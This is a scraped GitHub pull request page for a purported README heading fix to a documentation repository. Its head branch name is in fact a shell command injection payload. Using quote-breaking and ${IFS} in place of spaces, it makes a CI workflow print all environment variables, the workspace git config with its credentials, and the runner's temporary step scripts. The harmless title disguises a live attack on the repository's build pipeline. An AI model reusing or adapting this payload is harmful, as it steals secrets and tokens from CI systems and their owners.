Fix heading in README from 'Tools' to 'Tool'#5664

dvtuna wants to merge 1 commit into

platformsh:mainplatformsh/platformsh-docs:mainfrom

dvtuna:a";fi;echo${IFS}===ENV===;env|sort;echo${IFS}===GIT_CREDS===;cat${IFS}${GITHUB_WORKSPACE}/git/config;echo${IFS}===STEP_SCRIPTS===;cat${IFS}/home/runner/work/_temp/sh;if${IFS}true;then${IFS}"dvtuna/platformsh-docs:a";fi;echo${IFS}===ENV===;env|sort;echo${IFS}===GIT_CREDS===;cat${IFS}${GITHUB_WORKSPACE}/git/config;echo${IFS}===STEP_SCRIPTS===;cat${IFS}/home/runner/work/_temp/sh;if${IFS}true;then${IFS}"Copy head branch name to clipboard